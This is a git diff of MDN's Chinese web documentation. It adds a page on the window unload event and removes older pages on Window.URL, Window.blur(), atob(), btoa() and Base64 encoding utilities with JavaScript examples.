diff --git a/files/zh-cn/web/api/window/unload_event/index.html b/files/zh-cn/web/api/window/unload_event/index.html new file mode 100644 index 0000000000..2510b1f651 --- /dev/null +++ b/files/zh-cn/web/api/window/unload_event/index.html @@ -0,0 +1,125 @@ +--- +title: unload +slug: Web/Events/unload +tags: + - Window + - events + - unload +translation_of: Web/API/Window/unload_event +--- +

{{APIRef}}

+ +

当文档或一个子资源正在被卸载时, 触发 unload事件。

+ + + + + + + + + + + + + + + + + + + + +
可冒泡(Bubbles)No
可取消(Cancelable)No
接口(Interface){{domxref("Event")}}
事件处理程序属性(Event handler property){{domxref("WindowEventHandlers/onunload", "onunload")}}
+ +

它在下面两个事件后被触发:

+ +
    +
  1. beforeunload (可取消默认行为的事件)
  2. +
  3. pagehide
  4. +
+ +

文档处于以下状态:

+ + + +

请注意unload事件也遵循文档树:父iframe会在子iframe卸载前卸载(参考下面的例子).

+ +

示例

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Parent Frame</title>
+    <script>
+      window.addEventListener('beforeunload', function(event) {
+        console.log('I am the 1st one.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('I am the 3rd one.');
+      });
+    </script>
+  </head>
+  <body>
+    <iframe src="child-frame.html"></iframe>
+  </body>
+</html>
+ +

下面是 child-frame.html的内容:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Child Frame</title>
+    <script>
+      window.addEventListener('beforeunload', function(event) {
+        console.log('I am the 2nd one.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('I am the 4th and last one…');
+      });
+    </script>
+  </head>
+  <body>
+      ☻
+  </body>
+</html>
+ +

当父iframe被卸载,事件将按console.log() 消息描述的顺序触发。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态描述
{{SpecName('UI Events', '#event-type-unload', 'unload')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.unload_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/window/url/index.html b/files/zh-cn/web/api/window/url/index.html deleted file mode 100644 index 3ca38bbd39..0000000000 --- a/files/zh-cn/web/api/window/url/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Window.URL -slug: Web/API/Window/URL -tags: - - Window.URL -translation_of: Web/API/URL -translation_of_original: Web/API/Window/URL ---- -

{{ApiRef("Window")}}{{SeeCompatTable}}

- -

Window.URL 属性返回一个对象,它提供了用于创建和管理对象URLs的静态方法。它也可以作为一个构造函数被调用来构造 {{domxref("URL")}} 对象。

- -
-

Note: 此功能在Web Workers中可用。

-
- -

语法

- -

调用一个静态方法:

- -
img.src = URL.{{domxref("URL.createObjectURL", "createObjectURL")}}(blob);
- -

构造一个新对象:

- -
var url = new {{domxref("URL.URL", "URL")}}("../cats/", "https://www.example.com/dogs/");
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('URL', '#dom-url', 'URL')}}{{Spec2('URL')}}Initial definition
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8.0[2]{{CompatGeckoDesktop("2.0")}}[1]
- {{CompatGeckoDesktop("19.0")}}
10.015.0[2]6.0[2]
- 7.0
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}[2]{{CompatGeckoMobile("14.0")}}[1]
- {{CompatGeckoMobile("19.0")}}
{{CompatVersionUnknown}}15.0[2]6.0[2]
-
- -

[1] 从 Gecko 2 (Firefox 4) 到 包括Gecko 18, Gecko 返回一个不标准的nsIDOMMozURLProperty内部类型. 在实践中, 这是没有意义的.

- -

[2] 在非标准名称webkitURL下实现。

- -

也可以看看

- - diff --git a/files/zh-cn/web/api/window/window.blur()/index.html b/files/zh-cn/web/api/window/window.blur()/index.html deleted file mode 100644 index 0aebdbb367..0000000000 --- a/files/zh-cn/web/api/window/window.blur()/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Window.blur() -slug: Web/API/Window/Window.blur() -translation_of: Web/API/Window/blur ---- -

{{APIRef}}

- -

总结

- -

将焦点移出顶层窗口。

- -

语法

- -
window.blur()
- -

示例

- -
window.blur();
- -

注意

- -

使用 window.blur() 方法与用户主动将焦点移出顶层窗口本质上是一样的。

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG','interaction.html#dom-window-blur','Window.blur()')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/zh-cn/web/api/windowbase64/atob/index.html b/files/zh-cn/web/api/windowbase64/atob/index.html deleted file mode 100644 index 2892e403d4..0000000000 --- a/files/zh-cn/web/api/windowbase64/atob/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: WindowOrWorkerGlobalScope.atob() -slug: Web/API/WindowBase64/atob -tags: - - API - - Base64 - - DOM - - WindowOrWorkerGlobalScope - - atob - - 参考 - - 方法 -translation_of: Web/API/WindowOrWorkerGlobalScope/atob ---- -

{{APIRef("HTML DOM")}}

- -

WindowOrWorkerGlobalScope.atob() 对经过 base-64 编码的字符串进行解码。你可以使用 {{domxref("WindowBase64.btoa","window.btoa()")}} 方法来编码一个可能在传输过程中出现问题的数据,并且在接受数据之后,使用 atob() 方法再将数据解码。例如:你可以编码、传输和解码操作各种字符,比如 0-31 的 ASCII 码值。

- -

关于针对 Unicode 或者 UTF-8 的应用方面,请查看 this note at Base64 encoding and decodingbtoa() 的备注

- -

语法

- -
var decodedData = scope.atob(encodedData);
- -

异常

- -

如果传入字符串不是有效的 base64 字符串,比如其长度不是 4 的倍数,则抛出{{jsxref("DOMException")}}。

- -

示例

- -
let encodedData = window.btoa("Hello, world"); // 编码
-let decodedData = window.atob(encodedData);    // 解码
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties were on the target before it).
- -

浏览器兼容性

- - - -

{{Compat("api.WindowOrWorkerGlobalScope.atob")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html b/files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html deleted file mode 100644 index 5da5d1e0f4..0000000000 --- a/files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html +++ /dev/null @@ -1,605 +0,0 @@ ---- -title: Base64的编码与解码 -slug: Web/API/WindowBase64/Base64_encoding_and_decoding -translation_of: Glossary/Base64 ---- -

Base64 是一组相似的二进制到文本(binary-to-text)的编码规则,使得二进制数据在解释成 radix-64 的表现形式后能够用 ASCII 字符串的格式表示出来。Base64 这个词出自一种 MIME 数据传输编码。 

- -

Base64编码普遍应用于需要通过被设计为处理文本数据的媒介上储存和传输二进制数据而需要编码该二进制数据的场景。这样是为了保证数据的完整并且不用在传输过程中修改这些数据。Base64 也被一些应用(包括使用 MIME 的电子邮件)和在 XML 中储存复杂数据时使用。 

- -

在 JavaScript 中,有两个函数被分别用来处理解码和编码 base64 字符串:

- - - -

atob() 函数能够解码通过base-64编码的字符串数据。相反地,btoa() 函数能够从二进制数据“字符串”创建一个base-64编码的ASCII字符串。

- -

atob() 和 btoa() 均使用字符串。如果你想使用 ArrayBuffers,请参阅后文。

- -

编码尺寸增加

- -

每一个Base64字符实际上代表着6比特位。因此,3字节(一字节是8比特,3字节也就是24比特)的字符串/二进制文件可以转换成4个Base64字符(4x6 = 24比特)。

- -

这意味着Base64格式的字符串或文件的尺寸约是原始尺寸的133%(增加了大约33%)。如果编码的数据很少,增加的比例可能会更高。例如:字符串"a"length === 1进行Base64编码后是"YQ=="length === 4,尺寸增加了300%。

- - - - - - - - - - -
-

文档

- -
-
data URIs
-
data URIs, 定义于 RFC 2397,用于在文档内嵌入小的文件。
-
Base64
-
维基百科上关于 Base64 的文章。
-
{{domxref("WindowBase64.atob","atob()")}}
-
解码一个Base64字符串。
-
{{domxref("WindowBase64.btoa","btoa()")}}
-
从一个字符串或者二进制数据编码一个Base64字符串。
-
"Unicode 问题"
-
在大多数浏览器里里,在一个Unicode字符串上调用btoa()会造成一个Character Out Of Range异常。这一段写了一些解决方案。
-
URIScheme
-
Mozilla支持的URI schemes列表。
-
StringView
-
这篇文章发布了一个我们做的库,目的在于: -
    -
  • 为字符串创建一个类C接口 (i.e. array of characters codes — ArrayBufferView in JavaScript) ,基于JavaScript ArrayBuffer 接口。
  • -
  • 为类字符串对象(目前为止为: stringViews) 创建一系列方法,它们严格按照数字数组工作,而不是不可变的字符串。
  • -
  • 可用于其它Unicode编码,和默认的 DOMStrings不同。
  • -
-
-
- -

查看所有...

-
-

工具

- - - -

View All...

- - - - -
- -

Unicode 问题

- -

由于 DOMString 是16位编码的字符串,所以如果有字符超出了8位ASCII编码的字符范围时,在大多数的浏览器中对Unicode字符串调用 window.btoa 将会造成一个 Character Out Of Range 的异常。有很多种方法可以解决这个问题:

- - - -

Solution #1 – JavaScript's UTF-16 => base64

- -

A very fast and widely useable way to solve the unicode problem is by encoding JavaScript native UTF-16 strings directly into base64. Please visit the URL data:text/plain;charset=utf-16;base64,OCY5JjomOyY8Jj4mPyY= for a demonstration (copy the data uri, open a new tab, paste the data URI into the address bar, then press enter to go to the page). This method is particularly efficient because it does not require any type of conversion, except mapping a string into an array. The following code is also useful to get an ArrayBuffer from a Base64 string and/or viceversa (see below).

- -
"use strict";
-
-/*\
-|*|
-|*|  Base64 / binary data / UTF-8 strings utilities (#1)
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
-|*|
-|*|  Author: madmurphy
-|*|
-\*/
-
-/* Array of bytes to base64 string decoding */
-
-function b64ToUint6 (nChr) {
-
-  return nChr > 64 && nChr < 91 ?
-      nChr - 65
-    : nChr > 96 && nChr < 123 ?
-      nChr - 71
-    : nChr > 47 && nChr < 58 ?
-      nChr + 4
-    : nChr === 43 ?
-      62
-    : nChr === 47 ?
-      63
-    :
-      0;
-
-}
-
-function base64DecToArr (sBase64, nBlockSize) {
-
-  var
-    sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length,
-    nOutLen = nBlockSize ? Math.ceil((nInLen * 3 + 1 >>> 2) / nBlockSize) * nBlockSize : nInLen * 3 + 1 >>> 2, aBytes = new Uint8Array(nOutLen);
-
-  for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx < nInLen; nInIdx++) {
-    nMod4 = nInIdx & 3;
-    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << 18 - 6 * nMod4;
-    if (nMod4 === 3 || nInLen - nInIdx === 1) {
-      for (nMod3 = 0; nMod3 < 3 && nOutIdx < nOutLen; nMod3++, nOutIdx++) {
-        aBytes[nOutIdx] = nUint24 >>> (16 >>> nMod3 & 24) & 255;
-      }
-      nUint24 = 0;
-    }
-  }
-
-  return aBytes;
-}
-
-/* Base64 string to array encoding */
-
-function uint6ToB64 (nUint6) {
-
-  return nUint6 < 26 ?
-      nUint6 + 65
-    : nUint6 < 52 ?
-      nUint6 + 71
-    : nUint6 < 62 ?
-      nUint6 - 4
-    : nUint6 === 62 ?
-      43
-    : nUint6 === 63 ?
-      47
-    :
-      65;
-
-}
-
-function base64EncArr (aBytes) {
-
-  var eqLen = (3 - (aBytes.length % 3)) % 3, sB64Enc = "";
-
-  for (var nMod3, nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx < nLen; nIdx++) {
-    nMod3 = nIdx % 3;
-    /* Uncomment the following line in order to split the output in lines 76-character long: */
-    /*
-    if (nIdx > 0 && (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; }
-    */
-    nUint24 |= aBytes[nIdx] << (16 >>> nMod3 & 24);
-    if (nMod3 === 2 || aBytes.length - nIdx === 1) {
-      sB64Enc += String.fromCharCode(uint6ToB64(nUint24 >>> 18 & 63), uint6ToB64(nUint24 >>> 12 & 63), uint6ToB64(nUint24 >>> 6 & 63), uint6ToB64(nUint24 & 63));
-      nUint24 = 0;
-    }
-  }
-
-  return  eqLen === 0 ?
-      sB64Enc
-    :
-      sB64Enc.substring(0, sB64Enc.length - eqLen) + (eqLen === 1 ? "=" : "==");
-
-}
-
- -

Tests

- -
var myString = "☸☹☺☻☼☾☿";
-
-/* Part 1: Encode `myString` to base64 using native UTF-16 */
-
-var aUTF16CodeUnits = new Uint16Array(myString.length);
-Array.prototype.forEach.call(aUTF16CodeUnits, function (el, idx, arr) { arr[idx] = myString.charCodeAt(idx); });
-var sUTF16Base64 = base64EncArr(new Uint8Array(aUTF16CodeUnits.buffer));
-
-/* Show output */
-
-alert(sUTF16Base64); // "OCY5JjomOyY8Jj4mPyY="
-
-/* Part 2: Decode `sUTF16Base64` to UTF-16 */
-
-var sDecodedString = String.fromCharCode.apply(null, new Uint16Array(base64DecToArr(sUTF16Base64, 2).buffer));
-
-/* Show output */
-
-alert(sDecodedString); // "☸☹☺☻☼☾☿"
- -

The produced string is fully portable, although represented as UTF-16. If you prefer UTF-8, see the next solution.

- -

Appendix to Solution #1: Decode a Base64 string to Uint8Array or ArrayBuffer

- -

The functions above let us also create uint8Arrays or arrayBuffers from base64-encoded strings:

- -
var myArray = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw=="); // "Base 64 \u2014 Mozilla Developer Network" (as UTF-8)
-
-var myBuffer = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw==").buffer; // "Base 64 \u2014 Mozilla Developer Network" (as UTF-8)
-
-alert(myBuffer.byteLength);
- -
Note: The function base64DecToArr(sBase64[, nBlockSize]) returns an uint8Array of bytes. If your aim is to build a buffer of 16-bit / 32-bit / 64-bit raw data, use the nBlockSize argument, which is the number of bytes which the uint8Array.buffer.bytesLength property must result to be a multiple of (1 or omitted for ASCII, binary content, binary strings, UTF-8-encoded strings; 2 for UTF-16 strings; 4 for UTF-32 strings).
- -

For a more complete library, see StringView – a C-like representation of strings based on typed arrays (source code available on GitHub).

- -

Solution #2 – JavaScript's UTF-16 => UTF-8 => base64

- -

This solution consists in converting a JavaScript's native UTF-16 string into a UTF-8 string and then encoding the latter into base64. This also grants that converting a pure ASCII string to base64 always produces the same output as the native btoa().

- -
"use strict";
-
-/*\
-|*|
-|*|  Base64 / binary data / UTF-8 strings utilities (#2)
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
-|*|
-|*|  Author: madmurphy
-|*|
-\*/
-
-/* Array of bytes to base64 string decoding */
-
-function b64ToUint6 (nChr) {
-
-  return nChr > 64 && nChr < 91 ?
-      nChr - 65
-    : nChr > 96 && nChr < 123 ?
-      nChr - 71
-    : nChr > 47 && nChr < 58 ?
-      nChr + 4
-    : nChr === 43 ?
-      62
-    : nChr === 47 ?
-      63
-    :
-      0;
-
-}
-
-function base64DecToArr (sBase64, nBlockSize) {
-
-  var
-    sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length,
-    nOutLen = nBlockSize ? Math.ceil((nInLen * 3 + 1 >>> 2) / nBlockSize) * nBlockSize : nInLen * 3 + 1 >>> 2, aBytes = new Uint8Array(nOutLen);
-
-  for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx < nInLen; nInIdx++) {
-    nMod4 = nInIdx & 3;
-    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << 18 - 6 * nMod4;
-    if (nMod4 === 3 || nInLen - nInIdx === 1) {
-      for (nMod3 = 0; nMod3 < 3 && nOutIdx < nOutLen; nMod3++, nOutIdx++) {
-        aBytes[nOutIdx] = nUint24 >>> (16 >>> nMod3 & 24) & 255;
-      }
-      nUint24 = 0;
-    }
-  }
-
-  return aBytes;
-}
-
-/* Base64 string to array encoding */
-
-function uint6ToB64 (nUint6) {
-
-  return nUint6 < 26 ?
-      nUint6 + 65
-    : nUint6 < 52 ?
-      nUint6 + 71
-    : nUint6 < 62 ?
-      nUint6 - 4
-    : nUint6 === 62 ?
-      43
-    : nUint6 === 63 ?
-      47
-    :
-      65;
-
-}
-
-function base64EncArr (aBytes) {
-
-  var eqLen = (3 - (aBytes.length % 3)) % 3, sB64Enc = "";
-
-  for (var nMod3, nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx < nLen; nIdx++) {
-    nMod3 = nIdx % 3;
-    /* Uncomment the following line in order to split the output in lines 76-character long: */
-    /*
-    if (nIdx > 0 && (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; }
-    */
-    nUint24 |= aBytes[nIdx] << (16 >>> nMod3 & 24);
-    if (nMod3 === 2 || aBytes.length - nIdx === 1) {
-      sB64Enc += String.fromCharCode(uint6ToB64(nUint24 >>> 18 & 63), uint6ToB64(nUint24 >>> 12 & 63), uint6ToB64(nUint24 >>> 6 & 63), uint6ToB64(nUint24 & 63));
-      nUint24 = 0;
-    }
-  }
-
-  return  eqLen === 0 ?
-      sB64Enc
-    :
-      sB64Enc.substring(0, sB64Enc.length - eqLen) + (eqLen === 1 ? "=" : "==");
-
-}
-
-/* UTF-8 array to DOMString and vice versa */
-
-function UTF8ArrToStr (aBytes) {
-
-  var sView = "";
-
-  for (var nPart, nLen = aBytes.length, nIdx = 0; nIdx < nLen; nIdx++) {
-    nPart = aBytes[nIdx];
-    sView += String.fromCharCode(
-      nPart > 251 && nPart < 254 && nIdx + 5 < nLen ? /* six bytes */
-        /* (nPart - 252 << 30) may be not so safe in ECMAScript! So...: */
-        (nPart - 252) * 1073741824 + (aBytes[++nIdx] - 128 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 247 && nPart < 252 && nIdx + 4 < nLen ? /* five bytes */
-        (nPart - 248 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 239 && nPart < 248 && nIdx + 3 < nLen ? /* four bytes */
-        (nPart - 240 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 223 && nPart < 240 && nIdx + 2 < nLen ? /* three bytes */
-        (nPart - 224 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 191 && nPart < 224 && nIdx + 1 < nLen ? /* two bytes */
-        (nPart - 192 << 6) + aBytes[++nIdx] - 128
-      : /* nPart < 127 ? */ /* one byte */
-        nPart
-    );
-  }
-
-  return sView;
-
-}
-
-function strToUTF8Arr (sDOMStr) {
-
-  var aBytes, nChr, nStrLen = sDOMStr.length, nArrLen = 0;
-
-  /* mapping... */
-
-  for (var nMapIdx = 0; nMapIdx < nStrLen; nMapIdx++) {
-    nChr = sDOMStr.charCodeAt(nMapIdx);
-    nArrLen += nChr < 0x80 ? 1 : nChr < 0x800 ? 2 : nChr < 0x10000 ? 3 : nChr < 0x200000 ? 4 : nChr < 0x4000000 ? 5 : 6;
-  }
-
-  aBytes = new Uint8Array(nArrLen);
-
-  /* transcription... */
-
-  for (var nIdx = 0, nChrIdx = 0; nIdx < nArrLen; nChrIdx++) {
-    nChr = sDOMStr.charCodeAt(nChrIdx);
-    if (nChr < 128) {
-      /* one byte */
-      aBytes[nIdx++] = nChr;
-    } else if (nChr < 0x800) {
-      /* two bytes */
-      aBytes[nIdx++] = 192 + (nChr >>> 6);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else if (nChr < 0x10000) {
-      /* three bytes */
-      aBytes[nIdx++] = 224 + (nChr >>> 12);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else if (nChr < 0x200000) {
-      /* four bytes */
-      aBytes[nIdx++] = 240 + (nChr >>> 18);
-      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else if (nChr < 0x4000000) {
-      /* five bytes */
-      aBytes[nIdx++] = 248 + (nChr >>> 24);
-      aBytes[nIdx++] = 128 + (nChr >>> 18 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else /* if (nChr <= 0x7fffffff) */ {
-      /* six bytes */
-      aBytes[nIdx++] = 252 + (nChr >>> 30);
-      aBytes[nIdx++] = 128 + (nChr >>> 24 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 18 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    }
-  }
-
-  return aBytes;
-
-}
- -

Tests

- -
/* Tests */
-
-var sMyInput = "Base 64 \u2014 Mozilla Developer Network";
-
-var aMyUTF8Input = strToUTF8Arr(sMyInput);
-
-var sMyBase64 = base64EncArr(aMyUTF8Input);
-
-alert(sMyBase64); // "QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw=="
-
-var aMyUTF8Output = base64DecToArr(sMyBase64);
-
-var sMyOutput = UTF8ArrToStr(aMyUTF8Output);
-
-alert(sMyOutput); // "Base 64 — Mozilla Developer Network"
- -

Solution #3 – JavaScript's UTF-16 => binary string => base64

- -

The following is the fastest and most compact possible approach. The output is exactly the same produced by Solution #1 (UTF-16 encoded strings), but instead of rewriting {{domxref("WindowBase64.atob","atob()")}} and {{domxref("WindowBase64.btoa","btoa()")}} it uses the native ones. This is made possible by the fact that instead of using typed arrays as encoding/decoding inputs this solution uses binary strings as an intermediate format. It is a “dirty” workaround in comparison to Solution #1 (binary strings are a grey area), however it works pretty well and requires only a few lines of code.

- -
"use strict";
-
-/*\
-|*|
-|*|  Base64 / binary data / UTF-8 strings utilities (#3)
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
-|*|
-|*|  Author: madmurphy
-|*|
-\*/
-
-function btoaUTF16 (sString) {
-
-	var aUTF16CodeUnits = new Uint16Array(sString.length);
-	Array.prototype.forEach.call(aUTF16CodeUnits, function (el, idx, arr) { arr[idx] = sString.charCodeAt(idx); });
-	return btoa(String.fromCharCode.apply(null, new Uint8Array(aUTF16CodeUnits.buffer)));
-
-}
-
-function atobUTF16 (sBase64) {
-
-	var sBinaryString = atob(sBase64), aBinaryView = new Uint8Array(sBinaryString.length);
-	Array.prototype.forEach.call(aBinaryView, function (el, idx, arr) { arr[idx] = sBinaryString.charCodeAt(idx); });
-	return String.fromCharCode.apply(null, new Uint16Array(aBinaryView.buffer));
-
-}
- -

Tests

- -
var myString = "☸☹☺☻☼☾☿";
-
-/* Part 1: Encode `myString` to base64 using native UTF-16 */
-
-var sUTF16Base64 = btoaUTF16(myString);
-
-/* Show output */
-
-alert(sUTF16Base64); // "OCY5JjomOyY8Jj4mPyY="
-
-/* Part 2: Decode `sUTF16Base64` to UTF-16 */
-
-var sDecodedString = atobUTF16(sUTF16Base64);
-
-/* Show output */
-
-alert(sDecodedString); // "☸☹☺☻☼☾☿"
-
- -

For a cleaner solution that uses typed arrays instead of binary strings, see solutions #1 and #2.

- -

Solution #4 – escaping the string before encoding it

- -
function b64EncodeUnicode(str) {
-    // first we use encodeURIComponent to get percent-encoded UTF-8,
-    // then we convert the percent encodings into raw bytes which
-    // can be fed into btoa.
-    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
-        function toSolidBytes(match, p1) {
-            return String.fromCharCode('0x' + p1);
-    }));
-}
-
-b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
-b64EncodeUnicode('\n'); // "Cg=="
-
- -

To decode the Base64-encoded value back into a String:

- -
function b64DecodeUnicode(str) {
-    // Going backwards: from bytestream, to percent-encoding, to original string.
-    return decodeURIComponent(atob(str).split('').map(function(c) {
-        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
-    }).join(''));
-}
-
-b64DecodeUnicode('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
-b64DecodeUnicode('Cg=='); // "\n"
-
- -

Unibabel implements common conversions using this strategy.

- -

Solution #5 – rewrite the DOMs atob() and btoa() using JavaScript's TypedArrays and UTF-8

- -

Use a TextEncoder polyfill such as TextEncoding (also includes legacy windows, mac, and ISO encodings), TextEncoderLite, combined with a Buffer and a Base64 implementation such as base64-js or TypeScript version of base64-js for both modern browsers and Node.js.

- -

When a native TextEncoder implementation is not available, the most light-weight solution would be to use Solution #3 because in addition to being much faster, Solution #3 also works in IE9 "out of the box." Alternatively, use TextEncoderLite with base64-js. Use the browser implementation when you can.

- -

The following function implements such a strategy. It assumes base64-js imported as <script type="text/javascript" src="base64js.min.js"/>. Note that TextEncoderLite only works with UTF-8.

- -
function Base64Encode(str, encoding = 'utf-8') {
-    var bytes = new (typeof TextEncoder === "undefined" ? TextEncoderLite : TextEncoder)(encoding).encode(str);
-    return base64js.fromByteArray(bytes);
-}
-
-function Base64Decode(str, encoding = 'utf-8') {
-    var bytes = base64js.toByteArray(str);
-    return new (typeof TextDecoder === "undefined" ? TextDecoderLite : TextDecoder)(encoding).decode(bytes);
-}
-
- -

注意: TextEncoderLite 不能正确处理四字节 UTF-8 字符, 比如 '\uD842\uDFB7' 或缩写为  '\u{20BB7}' 。参见 issue
- 可使用 text-encoding 作为替代。

- -

某些场景下,以上经由 UTF-8 转换到 Base64 的实现在空间利用上不一定高效。当处理包含大量 U+0800-U+FFFF 区域间字符的文本时, UTF-8 输出结果长于 UTF-16 的,因为这些字符在 UTF-8 下占用三个字节而 UTF-16 是两个。在处理均匀分布 UTF-16 码点的 JavaScript 字符串时应考虑采用 UTF-16 替代 UTF-8 作为 Base64 结果的中间编码格式,这将减少 40% 尺寸。

- -
-

译者注:下为陈旧翻译片段

-
- - - -

方案 #1 – 编码之前转义(escape)字符串

- -
function b64EncodeUnicode(str) {
-    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
-        return String.fromCharCode('0x' + p1);
-    }));
-}
-
-b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
-
- -

把base64转换回字符串

- -
function b64DecodeUnicode(str) {
-    return decodeURIComponent(atob(str).split('').map(function(c) {
-        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
-    }).join(''));
-}
-
-b64DecodeUnicode('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
-b64DecodeUnicode('Cg=='); // "\n"
- -

Unibabel 是一个包含了一些使用这种策略的通用转换的库。

- -

方案 #6 – 用JavaScript的 TypedArray 和 UTF-8重写DOM的 atob() 和 btoa()

- -

使用像TextEncoding(包含了早期(legacy)的windows,mac, 和 ISO 编码),TextEncoderLite 或者 Buffer 这样的文本编码器增强(polyfill)和Base64增强,比如base64-jsTypeScript 版本的  base64-js (适用于长青浏览器和 Node.js)。

- -

最简单,最轻量级的解决方法就是使用 TextEncoderLite 和 base64-js.

- -

想要更完整的库的话,参见 StringView – a C-like representation of strings based on typed arrays.

- -

参见

- - diff --git a/files/zh-cn/web/api/windowbase64/btoa/index.html b/files/zh-cn/web/api/windowbase64/btoa/index.html deleted file mode 100644 index 6b742198a5..0000000000 --- a/files/zh-cn/web/api/windowbase64/btoa/index.html +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: WindowOrWorkerGlobalScope.btoa() -slug: Web/API/WindowBase64/btoa -tags: - - API - - Base64 - - Web - - WindowOrWorkerGlobalScope - - 参考 - - 字符串 - - 数据 - - 方法 -translation_of: Web/API/WindowOrWorkerGlobalScope/btoa ---- -

{{APIRef("HTML DOM")}}

- -

WindowOrWorkerGlobalScope.btoa() 从 {{jsxref("String")}} 对象中创建一个 base-64 编码的 ASCII 字符串,其中字符串中的每个字符都被视为一个二进制数据字节。

- -
-

Note: 由于这个函数将每个字符视为二进制数据的字节,而不管实际组成字符的字节数是多少,所以如果任何字符的{{Glossary("code point", "码位")}}超出 0x00 ~ 0xFF 这个范围,则会引发 InvalidCharacterError 异常。请参阅 {{anch("Unicode_字符串")}} ,该示例演示如何编码含有码位超出 0x00 ~ 0xFF 范围的字符的字符串。

-
- -

语法

- -
let encodedData = window.btoa(stringToEncode);
-
- -

参数

- -
-
stringToEncode
-
一个字符串, 其字符分别表示要编码为 ASCII 的二进制数据的单个字节。
-
- -

返回值

- -

一个包含 stringToEncode 的 Base64 表示的字符串。

- -

示例

- -
let encodedData = window.btoa("Hello, world"); // 编码
-let decodedData = window.atob(encodedData);    // 解码
-
- -

备注

- -

